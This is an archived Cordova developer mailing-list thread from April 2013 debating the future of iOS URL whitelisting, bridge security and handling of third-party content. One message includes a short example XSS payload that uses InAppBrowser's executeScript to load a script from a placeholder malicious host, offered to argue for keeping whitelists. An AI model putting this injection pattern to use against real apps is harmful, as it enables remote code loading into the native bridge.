cordova-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Kevin Hawkins <kevin.hawkins.cord...@gmail.com>
Subject Re: iOS: The future of whitelisting
Date Tue, 16 Apr 2013 01:11:52 GMT
Thanks Andrew.  Content filtering may be a way to go, if that's possible.
 Is granular pattern-based whitelisting available in iOS?  I thought it
only went down to the host pattern level.

Cheers,
Kevin



On Mon, Apr 15, 2013 at 4:52 PM, Andrew Grieve <agrieve@chromium.org> wrote:

> Sounds like CSP (content security policy) will fill your needs, but we'll
> have to wait for webviews to support it.
>
> So, it sounds like this applies to hosted web apps only? E.g., if this was
> a file:// based app, you would want to bundle icons with your app.
>
> Would pattern-based white-list not cover your use-case? e.g.
> gstatic.google.com/*.png
>
> It actually would be feasible to implement content filtering on a mime-type
> basis on iOS & Android 3.0+, but I'm not about to volunteer :P
>
>
>
> On Mon, Apr 15, 2013 at 6:49 PM, Kevin Hawkins <
> kevin.hawkins.cordova@gmail.com> wrote:
>
> > The biggest issue we have with the current whitelisting in iOS, which I
> do
> > consider overreaching, is that it applies to every class of request that
> > comes out of the Cordova web view.  This is most problematic with images.
> >  I can't include stock service provider icons from e.g. twitter.com or
> > facebook.com, static map images from google.com, etc., because I can't
> > also
> > trust those sites to be allowed unfettered access to the bridge.  I.e. I
> > can't whitelist them, because the definition of their security class is
> > overly broad, such that I have to apply the rules of a high level of
> trust
> > to a low level of risk.  Same would hold true for stylesheets, for
> example.
> >
> > It puts us in the unfortunate position of having to choose to either have
> > apps devoid of the rich content available from third parties, apps that
> are
> > at least partially broken between Cordova vs. straight web (broken image
> > links, etc.), or no Cordova version of the apps at all (because we can't
> > budge on the pieces that absolutely have to be secured).
> >
> > Cheers,
> > Kevin
> >
> >
> >
> >
> > On Mon, Apr 15, 2013 at 1:52 PM, Shazron <shazron@gmail.com> wrote:
> >
> > > For the overlay thing, at least for iOS if we have a new window option
> > for
> > > "toolbar=[yes|no]" this would have almost the desired effect, if we
> take
> > > out the animation.
> > >
> > >
> > > On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <agrieve@chromium.org>
> > > wrote:
> > >
> > > > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter
> > > requests
> > > > from Cordova WebViews. I'd be interested in hearing if you still
> think
> > > it's
> > > > over-reaching.
> > > >
> > > > I think the only real way to protect your app is to not have any
> > > > third-party scripts in it. We have an outstanding issue to create a
> > guide
> > > > for this:
> > > >
> > > > https://issues.apache.org/jira/browse/CB-2179
> > > >
> > > >
> > > > Would using InAppBrowser suite your need for handling third-party
> > > content?
> > > > E.g. What if we made a mode for IAB where it overlays the page (like
> an
> > > > iframe) instead of completely covering it?
> > > >
> > > >
> > > >
> > > >
> > > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <
> shravanrn@google.com
> > > > >wrote:
> > > >
> > > > > Hi,
> > > > > My name is Shravan - I am an intern at Google working on the
> Cordova
> > > App
> > > > > Harness (tool to test Cordova Apps).
> > > > >
> > > > > Something that I noticed while starting work on the App Harness.
> The
> > > new
> > > > > executeScript method allows injection of arbitrary pieces of
> > javascript
> > > > in
> > > > > the InAppBrowsers opened with "window.open". This script runs in
> > > context
> > > > of
> > > > > the page loaded in the InAppBrowser. Whitelists might be still
> > required
> > > > in
> > > > > this scenario.
> > > > >
> > > > > *Quick example*
> > > > > Consider the scenario that there are no whitelists in the
> platforms.
> > > Any
> > > > > cordova app which is vulnerable to XSS attacks, can have the
> > following
> > > > code
> > > > > injected into them.
> > > > >
> > > > > *w = window.open("
> www.site_that_your_app_normally_doesnt_access.com
> > ",
> > > > > "_blank");*
> > > > > *w.executeScript({ file: "some_** malicious**_
> site.com/malicious.js
> > > "});
> > > > > *
> > > > > *
> > > > > *
> > > > > Thus they can open any website and inject any js file from any
> > > location.
> > > > > Whereas with whitelists the js file's domain "*some_** malicious**_
> > > > > site.com"
> > > > > *  would probably not be a part of the whitelist.
> > > > >
> > > > > *Small caveat: *The executeScript does have means to inject code
> > > directly
> > > > > as well with *w.executeScript({code:"(function() {alert("Hello");})
> > > > ();"})
> > > > > *but
> > > > > that may require a different solution not pertaining to this
> > > discussion.
> > > > >
> > > > > I don't know if this is a reason to keep the whitelists around but
> > > > thought
> > > > > I'd mention it.
> > > > >
> > > > > Shravan
> > > > >
> > > > >
> > > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shazron@gmail.com>
> wrote:
> > > > >
> > > > > > Also the whitelist might be important for plugins. Specifically,
> > > people
> > > > > > that need to install plugins have a promise of what external
> > > locations
> > > > > are
> > > > > > being accessed.
> > > > > >
> > > > > > However, right now all iOS plugins bypass the whitelist because
> of
> > > our
> > > > > > User-Agent method, and that needs to be rectified before this
> > > "promise"
> > > > > is
> > > > > > true.
> > > > > >
> > > > > > Certain resources bypass the whitelist anyway because we have
no
> > way
> > > to
> > > > > > control them at the moment (audio/video tags):
> > > > > > https://issues.apache.org/jira/browse/CB-2451
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shazron@gmail.com>
> > wrote:
> > > > > >
> > > > > > > Ideally we would have a WebPolicyDelegate like OS X
> > > > > > > (webView:decidePolicyForMIMEType:):
> > > > > > >
> > > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html
> > > > > > >
> > > > > > > ...where we can have some granularity - I'm not sure we
can
> yet.
> > If
> > > > so,
> > > > > > we
> > > > > > > can defer to the app developer whether certain things like
> images
> > > can
> > > > > be
> > > > > > > let through - for example in MainViewController, you can
set
> your
> > > own
> > > > > > > WebPolicyDelegate. We would allow images through by default.
> > > > > > >
> > > > > > > I'm not sure of "letting the fox in the hen-house" (allow
> > > everything)
> > > > > > then
> > > > > > > trying to guard against attacks (hens with shotguns?),
this is
> > > > > JavaScript
> > > > > > > after all. I'm interested however in how your gatekeeper
> concept
> > > > works
> > > > > to
> > > > > > > help with this since allowing an external URL location
does not
> > > > protect
> > > > > > > from this attach (think of the situation if the external
host
> was
> > > > > hacked,
> > > > > > > and contained JS that attacks/intercepts our bridge).
> > > > > > >
> > > > > > > With the default wildcard in new projects, like others
here
> have
> > > > > > > mentioned, the whitelist is effectively turned off, and
99% of
> > devs
> > > > > won't
> > > > > > > care to restrict the whitelist.
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson <
> > > > > braden@chromium.org
> > > > > > >wrote:
> > > > > > >
> > > > > > >> Especially since permissions, on platforms that have
such a
> > > notion,
> > > > > will
> > > > > > >> be
> > > > > > >> (eventually...) controlled by installing those plugins.
So you
> > can
> > > > > lean
> > > > > > on
> > > > > > >> the platform to block access to contacts as well. Even
on
> > > platforms
> > > > > > >> without
> > > > > > >> such permissions control, if we don't load the
> > contacts-retrieval
> > > > > native
> > > > > > >> code, then the JS can't get at it.
> > > > > > >>
> > > > > > >> Braden
> > > > > > >>
> > > > > > >>
> > > > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <
> purplecabbage@gmail.com
> > >
> > > > > wrote:
> > > > > > >>
> > > > > > >> > I am completely in favor of removing whitelisting
as well.
>  I
> > > > > believe
> > > > > > it
> > > > > > >> > gives developers a false sense of security.
> > > > > > >> > imho the only sure way to protect access to the
bridge is to
> > > only
> > > > > ever
> > > > > > >> load
> > > > > > >> > code that you control. We should be pushing developers
> towards
> > > > > > >> > best-practices.
> > > > > > >> >
> > > > > > >> > Some of the whitelist stuff should become redundant
when we
> > have
> > > > > > things
> > > > > > >> > like the Contact API moved into plugins.  ie.
You can be
> > > > absolutely
> > > > > > >> certain
> > > > > > >> > that no JS code is accessing the device's contacts
if you do
> > not
> > > > > > include
> > > > > > >> > the native pieces of the Contact API.
> > > > > > >> >
> > > > > > >> > @purplecabbage
> > > > > > >> > risingj.com
> > > > > > >> >
> > > > > > >> >
> > > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux
<b@brian.io>
> > > wrote:
> > > > > > >> >
> > > > > > >> > > We recently moved to * by default to ease
common userland
> > woe.
> > > > I'd
> > > > > > be
> > > > > > >> in
> > > > > > >> > > favor of removal of whitelisting but I'm
fairly certain
> that
> > > > would
> > > > > > be
> > > > > > >> > > a controversial position!
> > > > > > >> > >
> > > > > > >> > >
> > > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins
<
> > > > > > >> > > kevin.hawkins.cordova@gmail.com> wrote:
> > > > > > >> > >
> > > > > > >> > > > Hey all,
> > > > > > >> > > >
> > > > > > >> > > > Those of us who have been on the implementing
and/or
> > serious
> > > > > > >> > consumption
> > > > > > >> > > > side of whitelisting for iOS—I've
been on both at one
> time
> > > or
> > > > > > >> > > another—know
> > > > > > >> > > > how much work has gone into trying to
make it a
> > > full-featured
> > > > > > >> security
> > > > > > >> > > > subsystem for the iOS version of the
framework.  I want
> to
> > > > share
> > > > > > >> some
> > > > > > >> > > > feedback based on my organization's
experiences in
> > > > > implementation,
> > > > > > >> and
> > > > > > >> > > > hopefully spark some discussion about
the future of
> > > > whitelisting
> > > > > > on
> > > > > > >> iOS
> > > > > > >> > > > (and maybe the platform as a whole).
> > > > > > >> > > >
> > > > > > >> > > > We're essentially running into insurmountable
issues
> with
> > > > > > >> whitelisting
> > > > > > >> > > for
> > > > > > >> > > > the use cases we're attempting, based
on the overreach
> of
> > > the
> > > > > > >> > > NSURLProtocol
> > > > > > >> > > > approach to whitelist handling.  I say
overreach
> because,
> > in
> > > > an
> > > > > > >> ideal
> > > > > > >> > > > world, Cordova should only ever care
about safeguarding
> > > > traffic
> > > > > > >> > destined
> > > > > > >> > > to
> > > > > > >> > > > go through the hybrid/native bridge.
 This argument can
> be
> > > > made
> > > > > > for
> > > > > > >> all
> > > > > > >> > > > platforms, but the lack of granularity
is most onerously
> > > > > > >> overbearing on
> > > > > > >> > > > iOS, which filters every HTTP(S) packet
that goes
> through
> > > the
> > > > > app.
> > > > > > >> > > >
> > > > > > >> > > > Our requirements are very strict with
regard to what's
> > > > > whitelisted
> > > > > > >> to
> > > > > > >> > go
> > > > > > >> > > > through the bridge.  But the bridge
is conceptually the
> > only
> > > > > thing
> > > > > > >> we
> > > > > > >> > > care
> > > > > > >> > > > about, within that particular sphere
of security.  We
> > have a
> > > > > more
> > > > > > >> > relaxed
> > > > > > >> > > > sphere of security for, say, <img
src="
> > > http://maps.google.com
> > > > "
> > > > > > />,
> > > > > > >> as
> > > > > > >> > > the
> > > > > > >> > > > threat vectors exposed through image
rendering are
> > > > considerably
> > > > > > less
> > > > > > >> > than
> > > > > > >> > > > malicious injected bridge code.
> > > > > > >> > > >
> > > > > > >> > > > Alas, we don't—and arguably never
will—have that kind of
> > > > > granular
> > > > > > >> > control
> > > > > > >> > > > in iOS, with the current implementation
approach.
> > > >  NSURLProtocol
> > > > > > is
> > > > > > >> > > simply
> > > > > > >> > > > too broad-brush to meld into a granular
approach for
> > > > > whitelisting.
> > > > > > >>  The
> > > > > > >> > > end
> > > > > > >> > > > result is that we lose the ability to
deliver a rich
> > content
> > > > > > >> experience
> > > > > > >> > > > that leverages third party artifacts,
because we're
> forced
> > > to
> > > > go
> > > > > > >> with
> > > > > > >> > the
> > > > > > >> > > > sphere of security that gives us the
highest scrutiny,
> > > across
> > > > > the
> > > > > > >> > board.
> > > > > > >> > > >
> > > > > > >> > > > We've been considering (very early phase)
some
> alternative
> > > > > > >> approaches
> > > > > > >> > to
> > > > > > >> > > > managing whitelisting.  Our current
thinking has been
> > > focusing
> > > > > on
> > > > > > a
> > > > > > >> > > > gatekeeper (on the native side) to the
bridge itself.
> >  This
> > > > > would
> > > > > > >> > enforce
> > > > > > >> > > > some sort of contract between the hybrid
and native
> side,
> > to
> > > > > make
> > > > > > a
> > > > > > >> > > > determination of which traffic is authorized
to
> > specifically
> > > > go
> > > > > > >> through
> > > > > > >> > > the
> > > > > > >> > > > bridge.  I'm not sure what that contract
looks like at
> > this
> > > > > point,
> > > > > > >> but
> > > > > > >> > > > enforcement would be bridge-specific,
and all other
> > webview
> > > > > > traffic
> > > > > > >> > would
> > > > > > >> > > > otherwise behave as it would in a normal
web
> application.
> > > > > > >> > > >
> > > > > > >> > > > I know from past discussions that many
(most?) Cordova
> > > > > developers
> > > > > > >> don't
> > > > > > >> > > > generally use the whitelist, since their
security
> concerns
> > > may
> > > > > not
> > > > > > >> be
> > > > > > >> > as
> > > > > > >> > > > great, and/or they exclusively host
their app
> > functionality
> > > > > > locally
> > > > > > >> to
> > > > > > >> > > the
> > > > > > >> > > > device, which allows them to essentially
implement their
> > own
> > > > > > >> controls
> > > > > > >> > on
> > > > > > >> > > > attack vectors through selective app
content.  In our
> > case,
> > > > > we're
> > > > > > >> > > building
> > > > > > >> > > > an enterprise platform where content
could come from any
> > > > number
> > > > > of
> > > > > > >> > > sources.
> > > > > > >> > > >  And whitelisting controls are not working
for us.
> > > > > > >> > > >
> > > > > > >> > > > If there's a future for whitelisting
in Cordova 3.0, I
> > > > > personally
> > > > > > >> feel
> > > > > > >> > > that
> > > > > > >> > > > it needs to be revisited.  I'd be interested
to hear
> > > thoughts
> > > > > from
> > > > > > >> > others
> > > > > > >> > > > on their usage patterns, and responses
to my concerns.
> > > > > > >> > > >
> > > > > > >> > > > Cheers,
> > > > > > >> > > > Kevin
> > > > > > >> > > >
> > > > > > >> > >
> > > > > > >> >
> > > > > > >>
> > > > > > >
> > > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
>

Mime
  • Unnamed multipart/alternative (inline, None, 0 bytes)
View raw message